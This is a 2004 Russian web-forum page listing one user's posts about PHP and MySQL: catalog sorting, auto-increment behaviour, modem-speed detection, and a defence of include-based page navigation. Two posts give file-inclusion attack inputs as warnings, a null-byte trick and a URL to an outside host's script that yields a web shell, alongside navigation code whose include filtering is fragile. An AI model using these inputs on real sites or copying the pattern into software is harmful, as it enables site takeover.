Просмотр сообщений

В этом разделе можно просмотреть все сообщения, сделанные этим пользователем.


Сообщения - Trinux

Страницы: [1] 2 3
1
Ну скажем так... БД уже написана и уже содержит порядкак 2000-3000 записей. Менять все я не стану, дабы не потерять клиентов. Насчет твоего способа. Да. Я понял идею, признаю он куда лучше, спасибо. Но проблема остается.

2
Есть 3 таблицы. Каталоги, подкаталоги, программы.

cat:
id
name

pod_cat:
id
cat_id
name

program:
id
pod_id
name

Примерно так. Т.е. в таблице прог не указан каталог, в которм находится прога, только подкаталог.
Каталоги резделены брейком (
) на главной. Хотелось бы чтобы каталог, в котором больше всего прог был наверху итд. Т.е. сортировались по убыванию. Но вот проблема.... Как сосчитать количество программ в каталоге, учитывая что в каждом каталоге не один подкаталог. Т.е. даже не так. Можно ли обойтись только MySQL запросом, минуя php код или нет?

3
2 USE
Блин... не туда посмотрел. index.php на soft.dsx.ru занимает 38 строчек.

4
2 hanslinger
Чесно говоря плохо понимаю. Про basename и слеши че-то я поспешил =) внатуре ерунда.

2 USE
Не умничай. index.php на сайте http://www.soft.dsx.ru занял 186 срок. Он маленький и редактировать его удобно.

2 All
Ну а тогда что??? Что вы предлогаете??? Писать в каждом файле проверку параметров???

5
Че-то вы ребята бред несете полный!

2 hanslinger
Да, насчет eregi со слешем я поторопился. Хотя нет разницы в этом случае между eregi и str. Обрезаю слеши вместе с basename() потому что а кто его знает, что эти хакеры придумают! Вот например если сделать так
include "$paga.php";
И в строку написать index.php?paga=123.htm%00, то откроется не 123.htm.php, а именно 123.htm!!! И таких уязвимостей полно! А загаловок между титлами - да очень просто. Я лишь привел пример навигации... Чтобы изменить заголовок с помощью этого примера, достаточно использовать классы.

А просто $_GET[\'paga\'] использовать ваще нельзя! Грубейшая ошибка!!! Я пишу строку index.php?paga=http://www.zerkalodeface.narod.ru/rem.php3 и имею скриптовый шелл у вас на сайте!!!

2 RomikChef
Я разве сказал что я с вами спорю??? Или вы думаете что вы единственные программеры на земле?
Цитировать
этот вид навигации кривой и тупой.
нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе без этих кошмарных скриптов.

Полнейший бред. Твои news.php и index.php... ООП... слышал когданить такую обревеатуру? ООП тут, конечно, непричем, пока классов нет, но меня интерисовала именно навигация. А твая статика - лажа!

6
Мы всегда спорим насчет защиты на сайте. Я считаю что такой вид навигации очень надежен, мне не верят... Рассудите нас пожалуйсто... Вот пример того, как я использую этот пример и как я его защищаю...

<?
include 
"mysql.php";
include 
"functions.php";
$paga=substr($paga010);
$paga=htmlspecialchars($pagaENT_QUOTES);
$id=substr($id03);
$id=htmlspecialchars($idENT_QUOTES);
?>
<html>
<body>
<table width=100%>
  <tr>
    <td>
      <? include "header.php";?>
    </td>
  </tr>
  <tr>
    <td>
      <?
        $paga
=$_GET[\'paga\'];
        $paga=eregi_replace("/","",$paga);
        $paga=eregi_replace("http://","",$paga);

        if(empty($paga))
          include("./pages/news.php");
        elseif(file_exists("./pages/".basename($paga).".php"))
          include("./pages/".basename($paga).".php");
        else {
          $paga="error";
          include("./pages/error.php");
        }
      ?>
    </td>
  </tr>
  <tr>
    <td>
      <? include "footer.php";?>
    </td>
  </tr>
</table>
</body>
</html>
<? mysql_close($db);?>


Итак... давайте разберемся. Сначала я инклужу mysql и functions, это к делу отношение не имеет. Затем я обрезаю параметры $paga и $id lj 10 и 3 символов соответственно и заменяю все опасные символы (ковычки итп) на их коды. Не помню в какой системе. Зачем? позже объясню...
Далее идут хтмл теги, инклуд шапки и нижней части, а в середину я инклужу параметр $paga. По коду видно, что исходя из параметра, инклудится тот или иной файл из папки /pages/.
Вот и все. А теперь, почему он такой надежный...

1. $paga=$_GET[\'paga\']; тут все ясно. $paga присваевается переменная, переданная ГЕТом.

2. $paga=eregi_replace("/","",$paga);
$paga=eregi_replace("http://","",$paga);
В переменной $paga стираются (заменяются на пустоту) все слеши и "http://". Обычная ошибка - использование не eregi_replace а str_replace. При str_replace заменяются символы в строгом регистре, а в первом случае без учета регистра!
Исходя из этого, внешний инклуд уже не возможен!!! Локальный тоже, т.к. режутся все слеши. Можно также резать точки, но я использую их.

3. if(empty($paga)) проверяется значение на пустоту. Если $зфпф пустая, например в браузере набрано index.php без параметров, то грузится pages/news.php.

4. file_exists("./pages/".basename($paga).".php"). Сначала переменная $paga образается с помощью basename(), долго объяснять, прочтите ман... она выдерает из всей строки только имя конечного файла. Потом проверяется файл на существование. Если его нет, то грузится файл error.php. Если файл существует, то он инклудится.

5. На 4-ом пункте ничего не останавливается =))) Продолжаем. В начале вспомните строчки $paga=substr($paga, 0, 10);... Я рассказывал для чего они. А теперь смотрите!!! Когда мы обращаемся например к конкретной новости, например index.php?paga=news&id=5, то грузится то сначала index.php, а он в самом начале образает переменные $paga и $id, таким образом построев всю систему навигации в одном файле, можно лишь один раз указать какие переменные и как фильтровать и все!!! Вот в чем прелесть!!!

Хочется услышать ваши мнения о данном типе навигации, его недочеты. Может я что-то упустил, укажите пожалуйсто.

7
PHP / определение скорости модема...
« : 05 Июня 2004, 08:13:31 »
2 Mog.
огромное спасибо.

2 Neter.
Я лишь привел пример.. например чтоб измерить скорость юзверя... Использовать я его буду в других целях, а тебе советую написать c++ сурс, повесить его на рут шелл, который будет архивировать процессором пользователя 1 гиг, а потом выводить скорость проца. Помогает.

8
Базы данных / Удаление из MySQL
« : 04 Июня 2004, 17:12:08 »
Всем огромное спасибо. Разобрался

9
Базы данных / Удаление из MySQL
« : 04 Июня 2004, 16:00:19 »
2 RomikChef
Все... я понял, большое спасибо... А ведь я дейтвительно так и думал... вот Балбес!

2 commander
Да.. id является tinyint и auto... но null нет нигде!

Итак. Спасибо. Я понял. Тогда другой вопрос. С БД я недавно общаюсь, подскажите, можно ли отсортировать данные, выдираемые из БД прямо в запросе??? Например по убыванию id??? Или только по средствам серверных языков?

10
Базы данных / Удаление из MySQL
« : 04 Июня 2004, 01:05:26 »
Люди, такая проблема... Есть 5 записей в БД. Если я удаляю скажем третью, а потом пытаюсь добавить новую, то она добавляется не в конец, а на место третьей... в чем проблема???

11
PHP / определение скорости модема...
« : 04 Июня 2004, 00:59:17 »
2 hanslinger
Тут непричем твои топы! Я задал конкретный вопрос! Если я говорю что хочу это сделать, значит я хочу это сделать, и если ты не знаешь как, то оффтопить не надо!

2 FreeSpace
Какая тебе разница что я буду выкладывать и глупая ли эта затея!!! Я для тебя разве сайт пишу? Ну вот и отвечай по существу. Мне нужно узнать скорость скачки между моим сервером и терминалом клиента!!! Как это сделать по средствам php???

12
PHP / определение скорости модема...
« : 01 Июня 2004, 14:33:19 »
Блин... Я просто хочу, чтоб скорочть определялась автоматом. Мне не нужны не трои не что иное. Как это делается? Как например на php.spb.ru я видел такую фишку. Но там метра качали... Как можно засечь время. Точнее что и куда копировать??? Я не понимаю, может кто объяснить?

13
PHP / определение скорости модема...
« : 31 Мая 2004, 23:49:14 »
Ну естевственно. Для юзвера и дизайн не нужен. Зачем? Давайте белый фон везде сотворим с черными символами... Ну нужно мне" Хочу я чтоб мою юзверы не напрягали мозги... помрут еще при вычислениях...

14
PHP / определение скорости модема...
« : 31 Мая 2004, 19:45:52 »
Пишу каталог софта для своей хом паги, хотелось бы внедрать такую примочку... Типа у каждого файла примерное время его скачевания...  А что? Это разве незаконно?

15
PHP / определение скорости модема...
« : 31 Мая 2004, 18:42:16 »
Да. Понял... А как принято определять скорость???

Страницы: [1] 2 3